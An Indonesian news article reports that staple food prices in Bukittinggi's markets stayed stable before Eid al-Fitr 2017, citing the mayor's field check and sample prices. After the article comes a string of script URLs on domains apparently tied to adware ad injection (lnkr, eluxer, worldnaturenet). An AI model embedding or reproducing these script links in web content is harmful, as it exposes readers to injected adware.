Ekonomi

Pantauan Pemko Bukittinggi Harga Kebutuhan Pokok Jelang Lebaran Masih Stabil

HaloBukittinggi : Dua minggu jelang lebaran Idul Fitri 1438 Hijriah, harga kebutuhan pokok di pasar tradisional Kota Bukittinggi masih stabil, belum ada kenaikan signifikan seperti apa yang dikhawatirkan masyarakat.

Hal itu berdasarkan pantauan yang dilakukan Wali Kota Bukittinggi M. Ramlan Nurmatias bersama Organisasi Perangkat Daerah (OPD) terkait, selama dua hari dari Sabtu 10 Juni hingga Minggu 11 Juni 2017.

Wali Kota Bukittinggi M. Ramlan Nurmatias mengatakan, saat ditanyakan langsung pada sejumlah pedagang di kawasan pasar bawah, memang harga kebutuhan pokok ini belum mengalami kenaikan, ada beberapa komoditas sayuran yang sedikit naik, namun tidak terlalu mencolok.

Menurut prediksi kenaikan harga kebutuhan pokok baru akan terjadi jelang hari raya idul fitri mendatang, karena pada saat ini dipastikan masyarakat akan banyak berbelanja memenuhi kebutuhan.

“Pemko Bukittinggi sengaja melakukan pengecekan harga bahan makanan yang dijual pedagang, memantau proses jual beli yang dilakukan pedagang, serta memastikan barang dagangan yang dijual pedagang itu tidak ada terjadi kesenjangan harga,” jelasnya.

Dari pantauan lapangan sambung M. Ramlan Nurmatias, harga beberapa bahan pokok diantaranya cabe merah keriting masih berkisar Rp 14.000 per kg , telur ayam beras dijual dengan harga Rp 1.200 per butir. Daging dijual dengan harga Rp.130.000 per kg, sementara harga jengkol yang dalam beberapa minggu terakhir melonjak naik, kini mulai berangsur turun dan dijual dengan harga Rp 80.000 per kg. Sedangkan beras kuriak kusuik dijual dengan harga Rp 12.500 per kg.

“Dari pantuan disimpulkan bahwa harga bahan kebutuhan pokok stabil, begitu juga harga bahan dapur dan kebutuhan pokok masih normal, mendekati lebaran nanti, diprediksi naik tapi masih dalam batas yang wajar karena tingkat kebutuhan semakin tinggi,” ujarnya.

M. Ramlan Nurmatias menambahkan, Pemko Bukittinggi  menginginkan harga di pasaran ] stabil, inflasi tidak terlalu tinggi dan deflasi tidak terlalu lama, dan kepada pedagang diimbau untuk tetap menjaga kebersihan. Selain itu, warga juga diajak untuk menanam cabe, seledri, daun bawang di rumah untuk mengantisipasi lonjakan harga. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=10https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top